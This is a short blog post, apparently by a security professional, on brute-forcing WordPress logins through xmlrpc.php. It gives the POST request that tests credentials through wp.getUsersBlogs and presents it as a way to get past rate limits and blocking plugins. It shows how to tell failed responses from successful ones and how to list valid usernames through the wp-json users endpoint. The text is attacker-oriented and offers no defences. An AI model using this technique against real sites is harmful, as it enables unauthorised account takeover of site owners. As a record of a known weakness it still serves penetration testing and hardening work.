Hi, I’m Eric. I’m technical director @enginsightcom with deep interest in it security.
Eric Range

Bruteforce WordPress via XML-RPC

Eric Range
Eric Range
Dec 31, 2022
Hi, I’m Eric. I’m technical director @enginsightcom with deep interest in it security.

WordPress has become increasingly resistant to bruteforce attacks in recent years. Plugins like “Jetpack” and etc. complicate the automatic bruteforcing by additional security queries more and more. In addition, the loading of the login page generates a relatively large amount of traffic, and CPU usage.

Request limits and request blocks are also added. Fortunately, WordPress offers inherent possibilities to circumvent all this.

Sometimes the only way to bypass request limiting or blocking in a brute force attack against WordPress site is to use the all too forgotten XML-RPC API.

The following POST request represents the most common brute force attack:

POST /xmlrpc.php HTTP/1.1
Host: ericran.ge
Content-Length: ...

<?xml version="1.0" encoding="UTF-8"?>
<methodCall> 
<methodName>wp.getUsersBlogs</methodName> 
<params> 
<param><value>{{your username}}</value></param> 
<param><value>{{your password}}</value></param> 
</params> 
</methodCall>

The above request can be sent with different sets of credentials. Note that, even if you guess the password or not, the response code will always be 200. I highly recommend looking for errors/messages within the body of the response.

Worried about sending way to much requests against the target? – No worries. WordPress XML-RPC by default allows an attacker to perform a single request, and brute force hundreds of passwords.

The default response of an “incorrect username or password” request looks like this.

<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
  <fault>
    <value>
      <struct>
        <member>
          <name>faultCode</name>
          <value>
            <int>403</int>
          </value>
        </member>
        <member>
          <name>faultString</name>
          <value>
            <string>Incorrect username or password.</string>
          </value>
        </member>
      </struct>
    </value>
  </fault>
</methodResponse>

But if you guessed the right username/password combination, wordpress will return this:

<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
  <params>
    <param>
      <value>
        <array>
          <data>
            <value>
              <struct>
                <member>
                  <name>isAdmin</name>
                  <value>
                    <boolean>1</boolean>
                  </value>
                </member>
                <member>
                  <name>url</name>
                  <value>
                    <string>https://ericran.ge/</string>
                  </value>
                </member>
                <member>
                  <name>blogid</name>
                  <value>
                    <string>1</string>
                  </value>
                </member>
                <member>
                  <name>blogName</name>
                  <value>
                    <string>Eric Range</string>
                  </value>
                </member>
                <member>
                  <name>xmlrpc</name>
                  <value>
                    <string>https://ericran.ge/xmlrpc.php</string>
                  </value>
                </member>
              </struct>
            </value>
          </data>
        </array>
      </value>
    </param>
  </params>
</methodResponse>

But now you may ask “but where can i get valid usernames?” WordPress will tell you. Simply open “https://ericran.ge/wp-json/wp/v2/users” and map all slugs to your valid usernames. That’s it.

[{
    "id": 1,
    "name": "Eric Range",
    ...
    "slug": "ericrange",
    ...
}]